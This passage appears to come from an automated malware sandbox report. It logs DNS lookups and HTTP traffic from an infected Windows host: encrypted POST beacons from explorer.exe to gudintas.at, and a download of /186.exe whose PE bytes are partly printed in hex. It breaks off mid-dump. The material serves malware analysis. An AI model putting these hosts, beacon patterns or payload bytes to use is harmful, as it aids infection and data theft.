Oct 3, 2023 09:55:30.577316999 CEST	8.8.8.8	192.168.2.3	0x803a	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:31.049436092 CEST	8.8.8.8	192.168.2.3	0xbef3	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:31.049436092 CEST	8.8.8.8	192.168.2.3	0xbef3	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:31.070185900 CEST	8.8.8.8	192.168.2.3	0xefd2	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:31.070185900 CEST	8.8.8.8	192.168.2.3	0xefd2	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:31.691574097 CEST	8.8.8.8	192.168.2.3	0x7e86	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:31.691574097 CEST	8.8.8.8	192.168.2.3	0x7e86	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:32.364126921 CEST	8.8.8.8	192.168.2.3	0xd0bd	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:32.364126921 CEST	8.8.8.8	192.168.2.3	0xd0bd	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:32.954849005 CEST	8.8.8.8	192.168.2.3	0xf22f	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:32.954849005 CEST	8.8.8.8	192.168.2.3	0xf22f	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:33.427095890 CEST	8.8.8.8	192.168.2.3	0x33d2	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:33.427095890 CEST	8.8.8.8	192.168.2.3	0x33d2	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:33.792503119 CEST	8.8.8.8	192.168.2.3	0x2a6a	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:33.792503119 CEST	8.8.8.8	192.168.2.3	0x2a6a	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:33.998126984 CEST	8.8.8.8	192.168.2.3	0xc479	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:33.998126984 CEST	8.8.8.8	192.168.2.3	0xc479	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:34.550575972 CEST	8.8.8.8	192.168.2.3	0x77f9	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:34.550575972 CEST	8.8.8.8	192.168.2.3	0x77f9	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:35.090553045 CEST	8.8.8.8	192.168.2.3	0x81ae	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:35.090553045 CEST	8.8.8.8	192.168.2.3	0x81ae	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:35.152399063 CEST	8.8.8.8	192.168.2.3	0x29c9	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:35.152399063 CEST	8.8.8.8	192.168.2.3	0x29c9	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:35.641345978 CEST	8.8.8.8	192.168.2.3	0xc84e	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:35.641345978 CEST	8.8.8.8	192.168.2.3	0xc84e	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:36.110250950 CEST	8.8.8.8	192.168.2.3	0xc103	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:36.110250950 CEST	8.8.8.8	192.168.2.3	0xc103	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:37.591631889 CEST	8.8.8.8	192.168.2.3	0xb02	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:37.591631889 CEST	8.8.8.8	192.168.2.3	0xb02	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:39.019612074 CEST	8.8.8.8	192.168.2.3	0x87c3	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:39.019612074 CEST	8.8.8.8	192.168.2.3	0x87c3	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:41.233681917 CEST	8.8.8.8	192.168.2.3	0xc3	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:41.233681917 CEST	8.8.8.8	192.168.2.3	0xc3	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:41.442833900 CEST	8.8.8.8	192.168.2.3	0x63fa	No error (0)	fiancejiveimp.fun		104.21.81.17	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:41.442833900 CEST	8.8.8.8	192.168.2.3	0x63fa	No error (0)	fiancejiveimp.fun		172.67.137.125	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:44.529648066 CEST	8.8.8.8	192.168.2.3	0x4b90	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:44.529648066 CEST	8.8.8.8	192.168.2.3	0x4b90	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:45.129997969 CEST	8.8.8.8	192.168.2.3	0x4a1b	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:45.129997969 CEST	8.8.8.8	192.168.2.3	0x4a1b	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:48.415349960 CEST	8.8.8.8	192.168.2.3	0xba7d	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:48.415349960 CEST	8.8.8.8	192.168.2.3	0xba7d	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:49.004322052 CEST	8.8.8.8	192.168.2.3	0xdb7d	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:49.004322052 CEST	8.8.8.8	192.168.2.3	0xdb7d	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:49.692514896 CEST	8.8.8.8	192.168.2.3	0xfadb	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:49.692514896 CEST	8.8.8.8	192.168.2.3	0xfadb	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:50.152053118 CEST	8.8.8.8	192.168.2.3	0x3910	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:50.152053118 CEST	8.8.8.8	192.168.2.3	0x3910	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:50.707289934 CEST	8.8.8.8	192.168.2.3	0x636a	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:50.707289934 CEST	8.8.8.8	192.168.2.3	0x636a	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:51.274168968 CEST	8.8.8.8	192.168.2.3	0x94c9	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:51.274168968 CEST	8.8.8.8	192.168.2.3	0x94c9	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:51.856251955 CEST	8.8.8.8	192.168.2.3	0x80eb	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:51.856251955 CEST	8.8.8.8	192.168.2.3	0x80eb	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:52.761389017 CEST	8.8.8.8	192.168.2.3	0x9435	No error (0)	malenursenect.fun		104.21.1.18	A (IP address)	IN (0x0001)	false
Oct 3, 2023 09:55:52.761389017 CEST	8.8.8.8	192.168.2.3	0x9435	No error (0)	malenursenect.fun		172.67.151.219	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

vtqsod.com

gudintas.at

aughe.org

fviqib.net

cqexxjno.net

hjjvq.com

xgeyakiifw.net

ajhuadbjy.net

ptxqbvvyee.com

seqlxfb.org

ppidsxxc.net

julpewmqko.net

h170811.srv22.test-hf.su

uhjls.com

fiancejiveimp.fun

diludhd.com

193.149.185.139

mqsawjuwq.net

malenursenect.fun

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49803	211.181.24.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:54:20.108772993 CEST	1534	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vtqsod.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 187 Host: gudintas.at
Oct 3, 2023 09:54:20.108772993 CEST	1534	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 34 46 e7 e3 Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA .[k,vu4F_Ko]ftS7vdk\2i'u +(=YZmIn}"3NA7m3
Oct 3, 2023 09:54:21.226350069 CEST	1534	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:54:20 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 85 ed Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49804	200.92.136.254	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:54:21.781431913 CEST	1535	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aughe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 294 Host: gudintas.at
Oct 3, 2023 09:54:21.781454086 CEST	1535	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 7c 0c ef fd Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vu\|E@gSTVyk)u0oPmZUe=M[a\|G)s'?/0uI6zBJ>) A-mfeXx
Oct 3, 2023 09:54:22.573386908 CEST	1536	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:54:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49815	211.181.24.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:05.547636986 CEST	1565	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://julpewmqko.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 215 Host: gudintas.at
Oct 3, 2023 09:55:05.547779083 CEST	1565	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 2e 0c b7 bf Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vu.PEvx]53cnU_\|'_v_LNmH~5-?B,]\n6aq
Oct 3, 2023 09:55:06.685908079 CEST	1565	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:55:06 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 51 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 71 5a 3d 16 ac 69 5b b5 eb 55 e5 cc b0 e4 36 91 3d c1 b5 2b 5c 5b 9f 9f c0 9f 3c 82 70 10 0b 9a Data Ascii: #\qZ=i[U6=+\[<p

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49816	91.227.16.22	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:07.262130976 CEST	1566	OUT	GET /186.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: h170811.srv22.test-hf.su
Oct 3, 2023 09:55:07.486428022 CEST	1568	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Tue, 03 Oct 2023 07:55:07 GMT Content-Type: application/octet-stream Content-Length: 3413536 Connection: keep-alive Keep-Alive: timeout=20 Last-Modified: Tue, 03 Oct 2023 06:43:12 GMT ETag: "341620-606ca345ebb95" Accept-Ranges: bytes X-Power-Supply-By: 220 Volt Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f3 d4 ac cf 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c4 31 00 00 c2 01 00 00 00 00 00 1e e3 31 00 00 20 00 00 00 00 32 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 33 00 00 02 00 00 a6 70 34 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 d0 e2 31 00 4b 00 00 00 00 00 32 00 18 bf 01 00 00 00 00 00 00 00 00 00 00 88 33 00 20 8e 00 00 00 c0 33 00 0c 00 00 00 6b e2 31 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 c3 31 00 00 20 00 00 00 c4 31 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 18 bf 01 00 00 00 32 00 00 c0 01 00 00 c6 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 33 00 00 02 00 00 00 86 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 31 00 00 00 00 00 48 00 00 00 02 00 05 00 68 44 04 00 00 90 0d 00 03 00 00 00 81 00 00 06 68 d4 11 00 1b 0c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 2b 05 28 c5 cc 35 45 02 28 13 00 00 0a 2a 00 56 2b 05 28 bc 2c 0e 3f 00 02 28 14 00 00 0a 38 00 00 00 00 00 2a 00 00 42 2b 05 28 bf 1c 4a 3a 7e 01 00 00 04 14 fe 01 2a 00 00 00 36 2b 05 28 66 a6 36 61 7e 01 00 00 04 2a 00 00 13 30 03 00 a4 00 00 00 01 00 00 11 2b 05 28 2a ee 4d 65 38 1e 00 00 00 fe 0c 00 00 45 04 00 00 00 2f 00 00 00 4b 00 00 00 6b 00 00 00 4a 00 00 00 38 2a 00 00 00 73 15 00 00 0a 80 02 00 00 04 38 00 00 00 00 73 16 00 00 0a 80 03 00 00 04 20 01 00 00 00 16 39 c2 ff ff ff 26 38 b8 ff ff ff 73 17 00 00 0a 80 05 00 00 04 20 02 00 00 00 17 3a a7 ff ff ff 26 38 9d ff ff ff 2a 73 18 00 00 0a 80 04 00 00 04 20 00 00 00 00 17 3a 8b ff ff ff 26 20 00 00 00 00 38 80 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 03 00 00 00 38 6c ff ff ff 13 30 03 00 5a 00 00 00 02 00 00 11 2b 05 28 da 57 30 5c 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 27 00 00 00 05 00 00 00 38 22 00 00 00 00 7e 02 00 00 04 6f 1a 00 00 0a 13 01 20 00 00 00 00 28 0c 00 00 06 39 d2 ff ff ff 26 38 c8 ff ff ff 38 05 00 00 00 38 00 00 00 00 11 01 2a 00 00 13 30 03 00 4d 00 00 00 03 00 00 11 2b 05 28 93 46 6b 4b 38 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP11 2@ 3p4@1K23 3k1 H.text$1 1 `.rsrc21@@.reloc33@B1HhDh :+(5E(V+(,?(8B+(J:~6+(f6a~0+(Me8E/KkJ8s8s 9&8s :&8s :& 8s 8l0Z+(W0\ 8E'8"~o (9&8880M+(FkK8
Oct 3, 2023 09:55:07.486490965 CEST	1569	IN	Data Raw: 2f 00 00 00 fe 0c 01 00 45 01 00 00 00 1f 00 00 00 38 1a 00 00 00 38 15 00 00 00 20 00 00 00 00 28 0b 00 00 06 3a de ff ff ff 26 38 d4 ff ff ff 11 00 2a 00 7e 03 00 00 04 6f 1b 00 00 0a 13 00 38 d1 ff ff ff 00 00 00 13 30 03 00 5a 00 00 00 04 00 Data Ascii: /E88 (:&8~o80Z+(</7 8E8%~o (9&8880Z+(\ 8E8%~o
Oct 3, 2023 09:55:07.486551046 CEST	1570	IN	Data Raw: 2a 00 13 30 03 00 48 00 00 00 13 00 00 11 2b 05 28 24 2b 3c 42 38 2f 00 00 00 fe 0c 00 00 45 01 00 00 00 1f 00 00 00 38 1a 00 00 00 38 15 00 00 00 20 00 00 00 00 28 3c 00 00 06 3a de ff ff ff 26 38 d4 ff ff ff 11 01 2a 00 7e 11 00 00 04 13 01 38 Data Ascii: 0H+($+<B8/E88 (<:&8~8J+(,WPI(:B+(4'/S~6+(K{7~0U+(>6 8E%8 (? (@:&888:
Oct 3, 2023 09:55:07.486633062 CEST	1572	IN	Data Raw: 00 8c 09 00 00 33 1b 03 00 43 37 03 00 83 fa 00 00 47 27 01 00 ea 20 01 00 a5 bf 02 00 90 37 01 00 7e 0f 02 00 4d a9 00 00 03 eb 01 00 23 12 00 00 dc 4a 00 00 56 ec 01 00 0b da 01 00 55 b1 01 00 78 34 03 00 eb 2a 02 00 66 36 03 00 00 5c 01 00 f9 Data Ascii: 3C7G' 7~M#JVUx4*f6\dF3%8=aD{BUy=@?:PEi\|@7 u\+9e\|WMe
Oct 3, 2023 09:55:07.486666918 CEST	1573	IN	Data Raw: 6a 01 00 a4 5d 02 00 00 1f 03 00 bf 2b 02 00 0d 09 01 00 e8 12 03 00 56 20 03 00 64 f0 00 00 76 0a 02 00 aa 3a 01 00 82 d6 01 00 f7 08 03 00 22 75 01 00 9b 52 02 00 81 cb 00 00 74 25 03 00 8a f5 00 00 e8 39 00 00 a5 06 02 00 53 df 01 00 9e af 02 Data Ascii: j]+V dv:"uRt%9SefgCqC:\|/ Iw9?mgoLYou/1w,6qJu}#p~,
Oct 3, 2023 09:55:07.486728907 CEST	1574	IN	Data Raw: 00 53 97 02 00 06 1d 03 00 79 64 02 00 b6 0f 01 00 2c e5 01 00 c2 86 00 00 a3 02 01 00 3a 14 00 00 2e 06 02 00 23 62 00 00 79 97 01 00 44 48 03 00 e6 d1 02 00 4f c2 01 00 25 ab 02 00 b3 6e 00 00 cc 9d 00 00 6f 30 02 00 3a 7b 00 00 67 94 02 00 4b Data Ascii: Syd,:.#byDHO%no0:{gK[E=n1T8:ui}_U!F-K0Bot'kwRwjbQnmkGdf
Oct 3, 2023 09:55:07.486815929 CEST	1576	IN	Data Raw: 65 02 00 20 90 02 00 50 08 02 00 24 37 02 00 43 29 03 00 2e d9 01 00 02 bc 00 00 92 ad 02 00 d5 f8 02 00 6f ad 01 00 db 46 02 00 cc bf 02 00 43 7f 00 00 da 1b 01 00 f6 0f 03 00 cb f3 01 00 29 8a 02 00 1b 69 01 00 7f db 00 00 07 86 00 00 ad 1e 03 Data Ascii: e P$7C).oFC)i'"X0L/5Gnt;owy_g*MP12}uD{A,am4q_)x
Oct 3, 2023 09:55:07.486898899 CEST	1577	IN	Data Raw: 00 c1 1f 03 00 c2 2d 03 00 1a 3d 03 00 82 ae 02 00 28 1d 01 00 a0 f0 00 00 21 eb 01 00 21 9c 02 00 11 4a 00 00 0c a0 01 00 0e 55 00 00 9b 7f 01 00 0b 2a 02 00 ef af 02 00 23 b8 01 00 00 71 01 00 a8 24 02 00 88 8e 00 00 dc 36 03 00 ab 52 00 00 16 Data Ascii: -=(!!JU*#q$6R\KN2wU)Axj9\|grAG=0-"-{=&huTjV$iho^?
Oct 3, 2023 09:55:07.486973047 CEST	1578	IN	Data Raw: 92 00 00 d8 d1 00 00 c9 5d 01 00 ae aa 00 00 a4 51 02 00 bc fd 00 00 ef 58 00 00 60 fb 01 00 7e f1 00 00 1a 10 03 00 f8 08 02 00 ab 76 00 00 2a 0f 02 00 24 33 03 00 08 80 01 00 1c 4a 03 00 84 2f 03 00 ba 3e 00 00 39 70 01 00 f0 40 00 00 78 f2 02 Data Ascii: ]QX`~v*$3J/>9p@x;l!/>+pUJt+@tMW5ETW@kHlfHKJ5A
Oct 3, 2023 09:55:07.487020016 CEST	1580	IN	Data Raw: 00 18 28 03 00 71 ed 00 00 a2 1c 00 00 de 3b 00 00 e0 b4 00 00 ac fa 01 00 54 a6 00 00 3a 4f 00 00 8e 20 02 00 8f 07 03 00 b3 05 02 00 42 da 02 00 92 2a 02 00 11 02 02 00 a0 7c 01 00 f5 b5 02 00 8f 9b 01 00 21 67 02 00 b8 70 00 00 2e 13 01 00 0c Data Ascii: (q;T:O B\|!gp.iXvSO;>`}LA`z/'hs K7-v9i.90>m"?@v6s[
Oct 3, 2023 09:55:07.708275080 CEST	1581	IN	Data Raw: 67 01 00 a2 d8 01 00 1b d7 00 00 08 58 02 00 11 06 01 00 e2 0f 02 00 62 31 00 00 98 5b 01 00 b8 b4 01 00 32 24 03 00 02 a4 00 00 46 79 00 00 4d c9 02 00 18 fe 01 00 1d 15 02 00 c4 64 01 00 ee 1e 02 00 c8 95 02 00 03 19 03 00 f0 db 01 00 d7 1d 02 Data Ascii: gXb1[2$FyMdIxI{9I{{Q(TrK`.147&K2)fMvEN9h3o [AgH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49826	186.182.55.44	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:11.228462934 CEST	5285	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uhjls.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 191 Host: gudintas.at
Oct 3, 2023 09:55:11.228487968 CEST	5285	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2c 5b 03 6b 2c 90 f4 76 0b 75 79 28 d2 ed Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA ,[k,vuy(0a5)%^I_JtY#"Qe UHqzFXDM^~J
Oct 3, 2023 09:55:12.165592909 CEST	5377	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:55:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 